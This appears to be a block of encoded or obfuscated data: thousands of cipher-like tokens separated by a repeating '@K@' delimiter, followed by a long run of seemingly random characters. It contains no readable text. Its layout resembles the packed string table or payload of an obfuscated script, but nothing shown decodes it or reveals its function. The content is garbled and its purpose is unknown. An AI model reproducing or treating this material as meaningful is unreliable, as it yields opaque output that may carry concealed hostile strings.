+=8/Z@K@=YB4/+B=Y+@K@=Y@K@8=B=Z8)@K@=YB+=ZB4/+BZ=@K@Z86/@K@]UBU0LBGF@K@YZ8,B/;@8=Z=@K@;;K;;KD 4 @K@ /)B/ +Y/@K@;;W=%;;@K@8/B)/ZBY,Z/Z=@K@ /)B/ +Y/@K@YZ8,B/;@8=Z=@K@=/ZBZ+=8/Z@K@=YB+=ZB4/+BZ=@K@,@K@4/+@K@8B+YZ8,@K@YZ8,B/;@8=Z=@K@;@/Y/JRT)8J?)Z6@K@4,6/B@NKO@=YB+=ZB4&@K@)/ZBZ+=8/Z@K@=YB +,+B /=8=Z/Z@K@ +,+QZ@K@ +,+QZ@K@=YB+=ZB/ZY4B+8BZ=@K@=YB/ZY4B+8=@K@6+;@@K@68@K@/@K@ 4 @K@=+ 8@K@==@K@YZ8,B/;@8=Z=@K@8=B==@K@6=@K@8=B6Z8=8Z/@K@( @K@( B/=8,@K@=@K@=YB=@K@=B,@K@=B/@K@=Z/@K@=B/@K@=YB=B 8Z/@K@=B,&@K@=YB=B,&B=/@K@=BZ=@K@)/ZB, Z8,@K@=YB=B 8Z/BZ=@K@=(B@K@=(B48Z=@K@=YB=(B/ B48Z=@K@=(B+=Z@K@YZ8,B/;@8=Z=@K@=YB=(B/ B+=Z@K@=(B4+@K@=YB=(B4+@K@B+@K@8=B8/@K@;;++Y/^Y+Y4/D 4 @K@8/B)/ZBY,Z/Z=@K@B&@K@;;&D 4 @K@B,Y@K@;;,&/YZ^Y+Y4/D 4 @K@8/B)/ZBY,Z/Z=@K@D)B@K@D)B@NKO@B)+@K@( ^8Y/=@K@D 4 @K@B)+@K@Z86/@K@=/B88D8/+6/@K@8=B=Z8)@K@,/E@K@D=/D88@K@B88@K@=Z ,=@K@+Z,B / /B8/@K@B4Z@K@8=B8/@K@D4Z+YY/==@K@+Z,B / /B8/@K@B(Y@K@( ^Y,8)D 4 @K@=Z ,=@K@( ^Y,8)D 4 @K@9B]9@K@ / /@K@9BQBUFPUPLG@K@ Y@K@]UBF9PQBPFL@K@09]UB@K@]TQ9@K@=)BY+Y4/ /==B )/BY+Y4/@K@Y+==B/;@8=Z=@K@9+Y4/BP+&/@K@( B+=Z/=ZBY+Y4/@K@YZ8,B/;@8=Z=@K@( BY+Y4/B=//BY+Y4/B8/@K@B,@K@B+8=@K@B+8BZ=@K@=YB+=ZB/ZY4B+8BZ=@K@8Y@K@8=B++@K@Y@K@8=B++@K@Z=@K@Z=@K@8YB@K@8YBH+@K@YZ8,B/;@8=Z=@K@=YB&B6,/@K@&@K@8=B=Z8)@K@=&=Z@NKO@YZ8,B/;@8=Z=@K@)/ZB, Z8,@K@=YBY++@K@Y@K@8Z/6=@K@/@K@YZ8,B/;@8=Z=@K@( ^,)8D 4 @K@YZ8,B/;@8=Z=@K@( B,)8B@K@YZ8,B/;@8=Z=@K@ +=/B@K@UUBF0BQ@K@YZ8,B/;@8=Z=@K@)/ZB=8Z/B@K@)/ZB&,)8,@K@@K@YZ8,B/;@8=Z=@K@ +=/B@K@=8Z/@K@QQUBQ@K@QQUBQ@K@PFPFBLP@K@PFPFBLP@K@YZ8,B/;@8=Z=@K@6+;@B/;@/YZ8,BZ86/@K@=/ZBZ86/B868Z@K@68Y,Z86/@K@=//B/@K@=@K@YZ8,B/;@8=Z=@K@=YB+=ZBYH@K@=4/@K@)/ZB, Z8,@K@]UBU0LBGF@K@),&@K@Z86@K@;;KD 4 @K@&+=/+6/@K@,6+8@K@ )8/=8,@K@ )8@K@D 4 @K@,,Z@K@;;W@K@+YZ8+Z/U)8=@K@6U)8=@K@,)8@K@+68=@K@+68=9,,8/=@NKO@/,=@K@YZ8,B/;@8=Z=@K@( B=,B/Y,/@K@=,B/Y,/@K@+  8Y+Z8,;;,YZ/Z^=Z/+6@K@Z86@K@=,B/Y,/@K@/ZY4@K@YHB/6 Z<@K@/ZY4@K@YHB/Y ZB+8/<@K@=,B/Y,/@K@Z86@K@=YB+=ZBYH@K@YHB&+B=,<@K@/ZY4B@K@ )8/=8,@K@&/+Y,@K@%;;@K@^B@K@=ZB= 8Z@K@68Y,Z86/@K@=YB&@K@:8@K@:@K@:@K@8=B=Z8)@K@8=B++@K@8=B++@K@8=B++@K@//Z/B, Z8,@K@=YB/,=@K@++B+/=@K@=YB/,=@K@ )8@K@ )8@K@Z+)/Z/=8,@K@8=B=Z8)@K@Z+)/Z/=8,@K@,Y/ +Z/@K@ )8F/=@K@=YB )8B/=@K@=YB )8B/=@K@8=B++@K@8/YZF/=@K@++B8@K@=BY+Y4/@K@=YB=@K@=@K@6I@NKO@=BY+Y4/@K@8=B++@K@8=B=Z8)@K@=Z/@K@=YB +)/@K@ +)/@K@ +)/@K@ +)/BY+Y4/@K@=(@K@=Z/@K@=(@K@=(@K@,@K@Z/6 +Z/=@K@Z/6 +Z/=@K@Z/6 +Z/=@K@)+@K@++Y/9+Y4/@K@+BZ @K@&@K@&BZ @K@Z4/6/@K@Z4/6/BZ @K@4Z+YY/==@K@4ZBZ @K@=/8@K@8BZ @K@8=Z+/@K@8=ZBZ @K@,Y0,+/@K@,YBZ @K@8=B6/8Y@K@Y,Z/+@K@8=B6/8Y@K@=YB/ZY4B+8=@K@=YB+=ZB/ZY4BZ=@K@Z;@ZJY!(&?@K@=YB +,+B /=8=Z/Z@K@8=B++@K@=YB +,+B /=8=Z/Z@K@,@K@YZ8,B/;@8=Z=@K@( B)/ZB=Y4//B//Z@K@( BY/+B=Y4//B4,,@K@=YB8Z/+@K@=YB+=ZB/ZY4BZ=@K@=YB/ZY4B+8=@K@\$ 4 @K@ +Z/@K@=Z+;@B/,@NKO@=&=Z@K@/B68=6+ZY4@K@,B=Y@K@,B /@K@6I@K@6I@K@8@K@YZ8,B/;@8=Z=@K@4,6/B@K@/8/YZ8,@K@==/8@K@YZ8,B/;@8=Z=@K@YZ8,B/;@8=Z=@K@)/ZB, Z8,@K@8=B++@K@ +Z/@K@/ +Y/B+8@K@=/ZBZ+=8/Z@K@=YB/Y,/BY4/Y@K@( B/6,Z/B)/Z@K@4,6/B@K@( B/6,Z/B)/Z@K@;;$=YBY&@K@6ZB+@K@Z86/,Z@K@=// @K@=// @K@=// @K@,&+YB+8B@K@D 4 @K@+YZ8/B )8=@K@+YZ8/B )8=@K@=YB /=8=Z/@K@ +Z/@K@Y++B,&+YB@K@=Y@K@)/ZB )8=@K@8/B/;@8=Z=@K@( ^+68;;8Y/=;; )8D 4 @K@)/ZB )8=@K@8=B=Z8)@K@=Y+@K@8+6/@K@8=B/++&/@K@8Y@K@ 4Z6@K@4Z6@K@=@K@Y,Z@K@8=B8@NKO@ +Z48,@K@UQLBP	QPLL@K@=ZZ,,(/@K@=Z ,=@K@/+YZ8+Z/B )8=@K@( ^+68;;8Y/=;; )8D 4 @K@YZ8,B/;@8=Z=@K@8+6/@K@8=B8@K@8+6/@K@8+6/@K@YZ8,B/;@8=Z=@K@//Z/B )8=@K@Y/ZB=/BY+@K@)/ZB=/=@K@( B=/ZBY/ZB=/@K@,/@K@+688=Z+Z,@K@6&/@K@( B=/ZBY/ZB=/@K@8=B=Z8)@K@DD@K@]UBU0LBGF@K@/+ +Z4@K@=Z ,=@K@=Y+8@K@GFP9QFOBPUFQF@K@68@K@8/B/;@8=Z=@K@++B/=@K@8=B=Z8)@K@8=B8@K@8=B++@K@=YB )8B/=@K@=YB8/YZB/=@K@/=Y+@K@=YB+=ZBZ6 Y/+@K@=YB@K@=YB@K@( B@K@8=B++@K@8/6Z86/@K@D 4 @K@( ^Y,Z/Z@K@;; )8=@K@YZ8,B/;@8=Z=@K@),&@K@8+6/@K@8B++@K@9BGUBVPL@NKO@;;W$W;;WK<9BGUBVPL#A+^J^
"^RDB#N%E<WKW;;DK$W;;WK<9BGUBPLG#W?<WKW;;W$;;=@K@8=B=Z8)@K@YZ8,B/;@8=Z=@K@, Y+Y4/B8+8+Z/@K@=YB+=ZB/=Y+@K@=YB+=ZB/=Y+@K@ /8,8Y@K@68)+Z/@K@=YB8+8@K@=YB68)B+8@K@8=B/++&/@K@8=B(8Z+&/@K@6B,ZB(8Z+&/@K@=/ZBZ+=8/Z@K@=YB68)B+8@K@8=B8/@K@6I@K@8=B8/@K@8/B)/ZBY,Z/Z=@K@8/B)/ZBY,Z/Z=@K@8=B8/@K@8/B)/ZBY,Z/Z=@K@=YB68)B+8@K@68)+Z/@K@8=B=Z8)@K@,@K@,@K@//Z/BZ+=8/Z@K@YZ8,B/;@8=Z=@K@ +Z/B, Z8,@K@=YB88Z8+8J/@K@,@K@+B, Z8,@K@YZ8,B/;@8=Z=@K@=YB+=ZB/ZY4BZ=@K@,@K@//Z/BZ+=8/Z@K@=Y@K@,@K@=4Z,(@K@=4Z,(@K@Z6) ?6RB=ZHJ=@K@88Z@K@//Z/B, Z8,@K@Z86/,Z@K@(+6@K@8=B+68@K@YZ8,B/;@8=Z=@K@+YZ8+Z/B )8=@K@+YZ8,@NKO@+YZ8+Z/@K@+YZ8+Z/^=//YZ/@K@Y4/Y/@K@8=B=Z8)@K@( B=+/B/8/YZ@K@YZ8,B/;@8=Z=@K@+68B@K@ )8=D 4 @K@=Y+B+YZ@K@, 8=@K@ )8=@K@VUQ@K@&D 4 @K@9BGV@K@++Y/^Y+Y4/D 4 @K@9BG@K@8/B)/ZBY,Z/Z=@K@=Z ,=@K@;;K<@K@BVPL#@K@;;W;;WK<@K@BVPL#A+^J^
"^RDB#N%E<WKW;;DK$W;;WK<@K@BPLG#W?<WKW;;;;=@K@8=B=Z8)@K@6=Z=/@K@&+=/+6/@K@6=Z=/@K@Y??I8Y?@K@\=Z/'ZA+Z+^ )8[@K@[N-ZA+Z+^ )8[@K@[NC8= +#,/586 ,Z+Z \;;=Z/'@K@\=Y8 Z',Y6/ZD+P/Z08=Z//[G9,Z/Z0,+/[-YZ8,EC,Y6/ZD///YZ,[ZA+Z+^ )8N[ED,P+Y4YZ8,EC+< D)/ZZZ8&Z/[+Z+^ )8[EX8 [@K@[ [@K@[ED/6,/E EX+<Y,Y6/ZD///YZ,[D=&=&=&<D6=Z=/<DY,Z[EX8YEC+< +=/ZYDZ/;@Z9,Z/ZD/ +Y/;;A*"^RN;;)-[[EE"X8'"EYDZ/;@Z9,Z/Z[[%+Z4D6+;@"-^?E%[E[  EX\;;=Y8 Z'@K@6J/6)JBB +@K@8=B,&/YZ@K@ 4I/=&)4/,@K@8=B++@K@)/ZB )8B+Z+@K@L+6/@K@( ^ )8=^+YZ8/@K@( ^ )8=^8+YZ8/@K@8/=@K@8/=@K@8/=@K@( ^6^ )8=@K@( ^ )8=^6=Z=/@K@&+=/+6/@K@8=B8@K@YZ8,B/;@8=Z=@NKO@;;K<9#@K@;;U)8<L+6/#W=KA*WWKN%E;;8@K@( ^, 8=@K@8/=@K@]UB9LQPLQBGF@K@++Y/^Y+Y4/D 4 @K@8=B=Z8)@K@=Z ,=@K@;;K<9#@K@( ^, 8=@K@8=B++@K@&+=/+6/@K@ +ZZ/@K@ /)B,Z/@K@32@K@48/@K@ +ZZ/@K@2;;@K@,,Z=@K@8=B8Z@K@,,Z=@K@+ZZ8&Z/=@K@+ZZ8&Z/=@K@,,Z=@K@+ZZ8&Z/=@K@UUBMFBPFL@K@UUBMFBPFL@K@Y+==B/;@8=Z=@K@/8/9,/YZ,@K@&+=/+6/@K@;;( ^8/^6++)/;;8&;; 4 ;;/8/9,/YZ,DY+==D 4 @K@;;8/^6++)/;;8&;; 4 ;;/8/9,/YZ,DY+==D 4 @K@;;8/^6++)/^++Y/;;8&;; 4 ;;/8/9,/YZ,DY+==D 4 @K@8+6/@K@DY+==D 4 @K@D 4 @K@8/B)/ZBY,Z/Z=@K@=Z ,=@K@Y+==</8/9,/YZ,@K@;;*W=K\W$ 4 E$;;@K@=ZB/ +Y/@K@Y+==<B9B/8/9,/YZ,BF/+@K@\$ 4 <@K@B=YB48/@K@B=YB48/B8@K@\$ 4 <Y+==</8/9,/YZ,</;@Z/=<B9B/8/9,/YZ,BF/+<C@K@ ,Z/YZ/<YZ8,<,Z Z<++<3+Z+<E<C@K@348/<<8==/Z<30V0A[B=YB48/[N<E<$<30V0A[B=YB48/[N<#<[[X@K@8<<348/<5<[[<::<YZ8,B/;@8=Z=<[=YB6B8Z/[<E<E<C@K@3+Z+<<=YB6B8Z/<3+Z+-<348/<EX@NKO@ +/Z##,Z Z<3+Z+<EX@K@6@K@Z7!=;@(JZ"B!,/!@K@8/=@K@+/@K@Y4+)/@K@Z//@K@+6/@K@)/ZBZ+=8/Z@K@=YB/Y,/BY4/Y@K@=Z/@K@8/B)/ZBY,Z/Z=@K@8=B=Z8)@K@=YB +Z/B&+@K@8=B=Z8)@K@=Z ,=@K@=&=Z@K@=Z ,=@K@8=B=Z8)@K@=Z/@K@6I@K@6I@K@=/ZBZ+=8/Z@K@=YB/Y,/BZ4,ZZ/@K@/Y,/@K@=,Y/B/6 Z@K@=YB/Y,/BZ4,ZZ/@K@=Z/@K@8+6/@K@8/B)/ZBY,Z/Z=@K@YZ8,B/;@8=Z=@K@YZ8,B/;@8=Z=@K@=/ZBZ+=8/Z@K@=YB/Y,/BY4/Y@K@( B=/B/(B=/B,Z88Y+Z8,BZ,B+68@K@BB/ZB+=/@K@( B/(B=/B,Z88Y+Z8,B/6+8B+68@K@BB/ZB+=/@K@YZ8,B/;@8=Z=@K@/6,/B+YZ8,@K@/)8=Z/B/(B=/@K@( B=/B/(B=/B,Z88Y+Z8,=@K@/8ZB=/BY/+Z/B=/@K@( B=/B/(B=/B,Z88Y+Z8,=@K@( B,)8@K@( B,Z8B+68B/(B,)8@K@( &@K@Y+ +&88Z8/=@K@P0P9Q<DG-<D=/B,)8-<D=/B +==-<D=/B/6+8<F<@K@<<LLPF<ML<@NKO@<6<L<DG<<6D=/B8<]PFP<6D6/Z+B/<<.=<LG<6D6/Z+B+/<0P<.=@K@.+688=Z+Z,.@K@Z,@K@YZ8,B/;@8=Z=@K@( B)//+Z/B+Z4BY,,8/@K@]UB/==8,BQ,/=@K@=/Y/B+Z4@K@+Z4@K@P9FPBQB9P@K@QB9P@K@0PGBLB9P@K@9PBGL@K@Z86@K@9PUQ@K@GLB9PBUQ@K@;;( ^+68@K@QFP@K@0P@K@( B6+8@K@8==/@K@=/B6/Z+@K@=/==8,BZ,/=@K@/;@ 8+Z8,@K@Y,Z@K@)/ZB8=Z+Y/@K@( B)//+Z/B+Z4BY,,8/@K@,))/B8@K@QFP@K@( B)//+Z/B+Z4BY,,8/@K@YZ8,B/;@8=Z=@K@Y,,8/=@K@( B6+8@K@8=B=Z8)@K@8=B=Z8)@K@&@K@& @K@8=B++@K@6/Z4,B/;@8=Z=@K@4+=BY+ @K@8=B=Z8)@K@Z=@K@Z=@K@,@K@8Z/Y/ Z@K@8=B=Z8)@K@8Y@K@,@K@,)8BY@K@;;*@K@A+^"^RNC-?" 3;;@NKO@8=B=Z8)@K@@K@4Z@K@4?I =Y86B76)R"@K@8=B++@K@/;@ ,/@K@4?I =Y86B76)R"@K@=Y@K@8/B ZBY,Z/Z=@K@=Z/@K@8+6/@K@8=B8@K@8,@K@+Z,68YB,B8<@K@&+=/+6/@K@+Z,68YB&+B 4 <@K@8=B8@K@8=B8/@K@8=B8@K@8/=8J/@K@YZ8,B/;@8=Z=@K@8,@K@+Z,68YB,BZ/6 +6<@K@&+=/+6/@K@(&@K@(8Z/@K@YZ8,B/;@8=Z=@K@=Y@K@+Z,68YBZ/6 B+8<@K@+Z,68YB=4,ZB(8Z/<@K@8=B8/@K@D=Y,@K@8=B8/@K@8=B8/@K@+Z,68YB/+6/B+8<@K@=Z/@K@YZ8,B/;@8=Z=@K@4+=4B8/@K@=&=Z@K@8,@K@+Z,68YB/8B+8<@K@8=B=Z8)@K@6I@K@+Z,68YBZ48B +Z<@K@8/B ZBY,Z/Z=@K@\$@K@8=B8/@K@()?=;@/ +JT(4@K@=Z ,=@K@=YB &@NKO@( B/6,Z/B)/Z@K@/8/YZ8,@K@9+Y4/^9,Z,@K@,^Y+Y4/@K@YZ8,B/;@8=Z=@K@=// @K@4/+/=@K@;;W$\,/<6,B 4 A"^RDNKWDY'W=K 4 B+/<+Z,B / /B8/A*WNK@K@A*WNKW\W;;,/'W$;;8@K@;;W$\,/<8Z/= //'W=K 4 B+/<+Z,B / /B8/A*WNK@K@A*WNKW\W;;,/'W$;;8@K@;;W$ 4 B+/<+Z,B / /B8/A*WNK@K@A*WNKW$;;8@K@, Y+Y4/B)/ZB=Z+Z=@K@, Y+Y4/B/+&/@K@(8Z/B+8/<@K@=Z/@K@&+=/+6/@K@YZ8,B/;@8=Z=@K@(8Z/@K@,Y@K@YZ8,B/;@8=Z=@K@=/ZBZ+=8/Z@K@=YB+68BZ8Y@K@=YB+68B88)4Z@K@YZ8,B/;@8=Z=@K@//Z/BZ+=8/Z@K@)/ZB, Z8,@K@&@K@YZ8,B/;@8=Z=@K@=/+6/B/;@8=Z=@K@+68BZ8Y@K@&@K@/;@+6 /DY,6@K@YZ8,B/;@8=Z=@K@( B=/ZB +==(,@K@( B=/ZB +==(,@K@&@K@+68@K@Y,8=8,@K@( B8=/ZB=/@K@( ^8Y/=;;=/D 4 @K@=/B,)8@K@=/B +==@K@=/B/6+8@K@8= +B+6/@K@( &@K@+68@K@,B( &@K@YZ8,B/;@8=Z=@NKO@( B4+=4B +==(,@K@Y/ZBZ86/@K@6=@K@O^6^<#8#=@K@=/B8Y/+6/@K@=/B/)8=Z//@K@=/B=Z+Z=@K@8= +B+6/@K@.=@K@.@K@+68@K@=B8=/ZB+8@K@=/B8@K@6/Z+B/@K@6/Z+B+/@K@.@K@.=@K@=/B//@K@Y/+B=/BY+Y4/@K@/8B+8@K@)/ZB=/B&@K@,)8@K@=/BY+@K@8=B++@K@+688=Z+Z,@K@Y+ B/8B+8@K@( B//Z/B=/@K@VUQ@K@8/B/;@8=Z=@K@( ^+68;;8Y/=;;=/D 4 @K@YZ8,B/;@8=Z=@K@&@K@=YBY4+8@K@8=B,&/YZ@K@/B(4//@K@<LG<=/B,)8<5<S@K@48/B@K@YZ8,B/;@8=Z=@K@+@K@ /)B6+ZY4@K@;;WW%EWE;;@K@;;WW%WE;;@K@48/BYZ@K@&@K@,)8BB,ZB8@K@8=B++@K@,)8BB,ZB8@K@8B++@K@,)8BB,ZB8@K@48/B/=Z@NKO@+YZ8/B )8=@K@8+6/@K@ 4 @K@8=B8@K@ +Z48,@K@)/ZB, Z8,@K@=Z/=4//Z@K@Z/6 +Z/@K@;;Z4/6/=@K@( ^Y,Z/Z;;Z4/6/=@K@++B8Z/@K@=Z ,=@K@ +Z48,@K@;; +ZZ/=@K@8=B8@K@8=B8/@K@8/B)/ZBY,Z/Z=@K@8=B=Z8)@K@8/YZB?@K@8/YZ@K@8=B8@K@;;W@K@++B6/)/@K@Z86@K@;;W@K@8+6/@K@8+6/@K@8+6/@K@8+6/@K@;;4,6/@K@;;+;;(((@K@;;+;;(((;;4,=Z=@K@;;+;;(((;;4Z6@K@;;=;;(((@K@;;=;;=/=@K@;;=;;,Y+;;(((@K@++B8/@K@++B8Z/@K@8=B/++&/@K@68Y,Z86/@K@++B6/)/@K@;;( ^Y,Z/Z;;6^ )8=@K@;;( ^Y,Z/Z;; )8=@K@8=B++@K@8=Z+/@K@=YB= /+B8Z/+@K@= /+@K@=YB8+8@K@=YB= /+B@K@,B,,Z=@NKO@=YB= /+B@K@=YB= /+B8Z/+@K@8=B8@K@8=B8@K@8=B(8Z+&/@K@=Z/@K@ +Z48,@K@;;( ^Y,Z/Z;; )8=;;@K@= /+@K@=Z/@K@=YB= /+B8Z/+@K@;;( ^Y,8)D 4 @K@8+6/@K@8=B8/@K@;;/8/W=KWW=KAS[NGVBLPAS[NW=K-W=KAS[NA*S[N%EAS[N;;@K@;;Z+&/B /8;@W=KW=KAS[NA*S[N%EAS[N;;@K@ /)B6+ZY4@K@;;*A+^J^
"^RBN%3;;@K@( &@K@6/Z4,B/;@8=Z=@K@;;*A+^J^
"^RB3^N%3;;@K@&B+6/B//YZ/@K@_D_@K@, Z8,=_@K@QFQ<QFL9QL@K@P0P9Q<, Z8,B+/<F<@K@<]PFP<, Z8,B+6/<<@K@S+YZ8/B )8=S@K@<0Q<?<F<UGQP@K@F00V9@K@F00V9@K@9Q@K@++B+/=@K@=/8+8J/@K@UGQP<@K@<PQ<, Z8,B+/<<.=<]PFP<, Z8,B+6/<<@K@ +Z/B+8@K@+YZ8+Z/@K@8=B,&/YZ@K@F00V9@K@( &@K@ 4YR!H%"0QV8VLH4+"V+Z0Z;@MO?Z
V8Q=)V,]
?TT=V;@
ZTY91QJYJ"U"LLZ)QQYJ4YM=;;4V;@9Q&;;14L	0;@1,9=?/Q
!I%LP=44P)FMULI	?;@/QI;;UJ;;;@M=(J1+YGZ!TV(6;@7;@(7L"F1FROI;;M7]YP
6]Y;;H&(L=Q&6(7(]&7"/YF4&Z8GI;;;;J;@"?R/];;G+(U61,	6?,6+79TM)V	PU"RQ)7G7JZ1!806%YPQP%/76II	(6LPM;@)I;;Q%
&877VQMTM]7&;@;@T+!O+(F4,;@6J+9RT
J0+OI?=6??!%7?44V+U47G?QT;;OTI"/;;9TQJ(964]Q/=U9+YZ"I;;
]4;@H" 64O60JT7OHF(JUR!JGJ =TLH/)/	0;;9+;@=87OIG0HZHV0
I&OVT/R%P&L%GGZU
&)18,"H?+61V747G
JM7J8Z96?,8FO??(9%9]U9% R?%(7QVU]G9	%R1)I=&V%0%Y)8/U"Q;@Q%I);@O]FM=VV)(%+U?6L
G0U]G]]9G;;	Z?8LY&6	UH";;(,]I0)=R=?ZFM
=UVP" %RQ9!8UV;@O P4!?9T FOI/0=
8/7JPR,9QL%QJ]4ZL=
!T;;T!"7
]4=Z;@HF,RP;;L61;;/"(9OGT=/	]?=%OV4!H;;)7(O??  ;;&8
T&U?9&+ILQLV;@L(Z& 
P+	4)1)/)7&OU&6;@OM8G&9(?;@)UTM&R	T!];;Y8!F=1R00?Z;; R	!M/6LQ(71(F";@O;;HMH1T/(Q/%"Q (0 )VGO79 I	T%(%;;OT;;M96RMJIO%%GPVJ+ ) I6Z 6";;6]FTHYOMP"IP7!T4V
%Z()4	T= Q14+?VQ;;"R U7	O!91]U(Q(MO6T;@Y&GM(L;@L;@7 ;@ZF89,MQ",M%MYMQGP U;@JQ)!6;;+!4"(PI1)Y?RMM=IP0=TQ)=
Z	
7 PJ;;FJYY+O0)/FI;@7,ZM7Q4M;;97L]	,4RF O(G7?=(0,H8	O==!I;@"I GU8Z%	4!?;;H0
4RO0&==+R?
(O6;;=+UJUR=;;MQYVF";;)7"T=R70)Q0=/U"%H4
YHQ;@  6O]P61FT6;@Q9+)UT]?V7
FO+HI]"

ZP)! /%RO!P,0=4 
6?+;@&O]/GVR+78J+U,&6H9&(;;T;;J&!O&L ),O16;@4	46=7G)+868Q,O+?4P6J=9U 1+7?F"+?4HU	G/GF
;;OP QG0+;;1F6T			= =/U+1U;@T;@!%(0(P9R!ZM+
,!P0TGT;@II(+Y!Y;;+;@I!=	JYV?!4=	&0&)&JT	P] %U4= &
QLI+U4QU=6]G)HH
7+4MJ!81UO=&ZG	
YTP79"	Z;@(O89&;; M)4;@0G"QTJ!0%,GZYU7OQIL&
%4TH&9TT/LFPYU9ILZ,+=J;@ ;@V
G9%7?+8/FZ?V)MV/
U(%;;9,;@/6,U4V79%1
L"&M7)6,0YGL!+(QP";;LIZPYTI%!!L"(H;;4
1M7IO;@=?)%4P+	H4H(!4)M?PR	;;?HV
08
?MHPRI==LZ/I;@V"J0+;@/+HQHOI];@%R4=OI!GORJU?P=QU,)M,YF4?R;@9
4%Z7 P?QJ/TZ
	U;@1+90 L;@GHT4L6?&TVR1L;;0;@]J;;JYZ)UYG9?%;;MV(4V= (	O;;H!V,%+ZR;;	7+F;;V((Z;@OP8/1/O)I 76	;@Y"90!"=%PURO%Q;@Q4Z&	HMTJ!,,Y ]69
V+"IV"HF86/Y
LVQ+IR&F9%HLOHIU%1/(4)I0M"M/1&G J1V])Q
6IHQ]T /9 M4U0U=7	,OT&&U00 ?"(L16GLIF+T?ROUT ;;U!74)%1R) 9Z0OUT	LT1;@U]R	VGJ;@&;;R4LQ

+=/TY);;]&?1G+1]9TU+4TL,R U6LYZ? R6	QT /U"G0(?ZRFQ+PV;;T)]J6"1/LM,/V(&%;@T/4	QO,TQR7!  ]4 ?4&F%"(Y4GO?P(]P? Y";@=UT69L	11?7//9"V;;YVLQI%
Q!(PV%H%+=4PQQ	1O86%
V;;4,&0G
M"Q
Y=MZV1") +;; 04"6],!%)QLT(L%)
]H!);@YHL,04U(@K@8=B=Z8)@K@=Z/@K@&+=/+6/@K@J8 @K@DJ8 @K@8=Z@K@Y,Z/ZB@K@YZ8,B/;@8=Z=@NKO@;;( ^Y,Z/Z@K@=ZB/ +Y/@K@4ZZ #;;;;@K@4ZZ =#;;;;@K@$ @K@4ZZ =#;;;;@K@;;$ @K@Z86@K@2*4ZZ =$#;;;;2@K@=YB=(@K@=YB +)/@K@=YB +)/@K@=Z/@K@,@K@Y,Z+YZ=@K@ Y=@K@+68V+=/@K@J8 @K@=)@K@8=Z+/@K@(8Z//@K@(@K@ +)/9,/@K@=B/@K@=Z/@K@&+=/!B/Y,/@K@+<BB9BVQMLD +=/+Z,&[@K@[EEX@K@+<BB9BPL9[@K@[X@K@=(BY,8)@K@,@K@=(BY,8)B=8)@K@=ZZ,,(/@K@=(@K@=(@K@Z86@K@ /)B/ +Y/@K@2*4ZZ =$#;;;;2@K@,@K@=Z/@K@8=B8@K@8=B(8Z+&/@K@D 4 @K@8=ZBZ @K@(@K@=YB+=ZB/ZY4BZ=@K@8=ZBZ B68==8)@K@8/B/;@8=Z=@K@6I@NKO@=(B8=Z@K@=(@K@YZ8,B/;@8=Z=@K@=Z/@K@=Z/@K@=Z/@K@=ZB/ +Y/@K@QPLBUFP@K@)/ZBZ+=8/Z@K@=ZB/ /+Z@K@=YB=(@K@=YB=(@K@=ZZ,,(/@K@8/B/;@8=Z=@K@=(B=/Z @K@ 4 B=+ 8B+6/@K@8=Z@K@;;D@K@=YB88B/+@K@Z86@K@Z86@K@8/B)/ZBY,Z/Z=@K@ /)B/ +Y/@K@;;W$+Z,B / /B8/W=KW=KA[SN$A*[SWWNK@K@A*[SWWNKA[SN$W$W$;;8@K@D=YB@K@88@K@8BZ B68==8)@K@6I@K@8=B=Z8)@K@ /)B6+ZY4@K@;;+Z,B / /B8/W=KW=KA[SN$EA*[SWWN%EW?;;8@K@,/@K@ZC>8Y/B,Y/<@K@+B/;@ ,Z@K@X Y+ZY4WQ4,(+&/<3/EC Y+ZY4WP;@Y/ Z8,<3/EC <@K@3B=Y 8+6/BB0PBBED[;;D@K@8>8=B8/3B=Y EEC3B=YY>8/B)/ZBY,Z/Z=3B=Y EX88=B=Z8)3B=YYEEC@K@8=Z/3B=YYE'?"!7IE3B=YY /)B/ +Y/S;;WW;;WKA"^R+^NC?"""- WKW;;E%3;;S-SS-3B=YYEX@K@88=B=Z8)3B=YYE::6I3B=YYES@K@SECZC>8Y/B,Y/<3B=Y X Y+ZY4WQ4,(+&/<3/EC Y+ZY4WP;@Y/ Z8,<3/EC  =/Z3B=YYEX  =/Z3B=Y EX@K@88B(+ @K@8=B8/@K@88@K@=YB88B+8@K@Y8Y8ZB, /@K@Z86@K@;;W@K@8/B)/ZBY,Z/Z=@K@/+B+8/@NKO@=&=Z@K@+Z,B / /B8/<<[@K@=YB88B /8)@K@,@K@=YB88B+8@K@=YB88B+8@K@,@K@88@K@ ,&/BI""@K@=YB88B+8@K@=YB88B/+@K@,@K@88@K@9BQBUFPUPLG@K@9BQBUFPU@K@88B)/Z@K@=/B88DY+Y4/BZZ@K@Z86/@K@,@K@ ,&/B/+@K@VUQ@K@ 4 B=+ 8B+6/@K@;;D4Z+YY/==@K@ Z8,=<^/;@/=@K@\8/=+ZY4<[WDJ8 ,)=E3['@K@\,/<6,B+Z4JBY,/DY'@K@F/8/<+</8/@K@\;;,/'@K@\,/<56,B+Z4JBY,/DY'@K@G/<,6<+@K@\;;8/=+ZY4'@K@8/B/;@8=Z=@K@8/B)/ZBY,Z/Z=@K@4Z@K@/+B+8/@K@=Z/@K@&+=/+6/@K@4Z@K@4ZBZ B68==8)@K@YZ8,B/;@8=Z=@K@;;W@K@8/B)/ZBY,Z/Z=@K@;;+Z,B / /B8/W=K$#W=EW=KA[SN$EA*[SWWN%EW?;;8@K@;;*\W$ 4 ;;@K@\$ 4 <ZC>8Y/B,Y/<@K@X Y+ZY4WQ4,(+&/<3/EC Y+ZY4WP;@Y/ Z8,<3/EC @K@8=B=Z8)@K@ Y/B+8@K@8/B/;@8=Z=@K@8=B=Z8)@NKO@=YB4ZB/+@K@4ZB,+/@K@8=B8/@K@8/B)/ZBY,Z/Z=@K@=YB4ZB+8@K@4Z@K@ 4 B+/<+Z,B / /B8/@K@YZ8,B/;@8=Z=@K@, /@K@,Y@K@8/6Z86/@K@8/B/;@8=Z=@K@8/B)/ZBY,Z/Z=@K@YZ8,B/;@8=Z=@K@8=B8/@K@,Y@K@4Z@K@<[@K@<[@K@Y,Z@K@=YB4ZB/+@K@Z86/@K@,@K@Y8Y8ZB, /@K@4Z@K@4Z@K@VUQ@K@)/ZB, Z8,@K@, Z@K@=Z/@K@GVBQ@K@GVBPF@K@GVBU]FG@K@GVBLP@K@6=8@K@GVBPF@K@( B@K@, Z@K@6=8#<@K@=&=Z@K@,Y@K@;;D( ^,&/YZ^Y+Y4/^@K@D+Z@K@9G?@K@&+=/!B/Y,/@K@=Z/@K@8=B+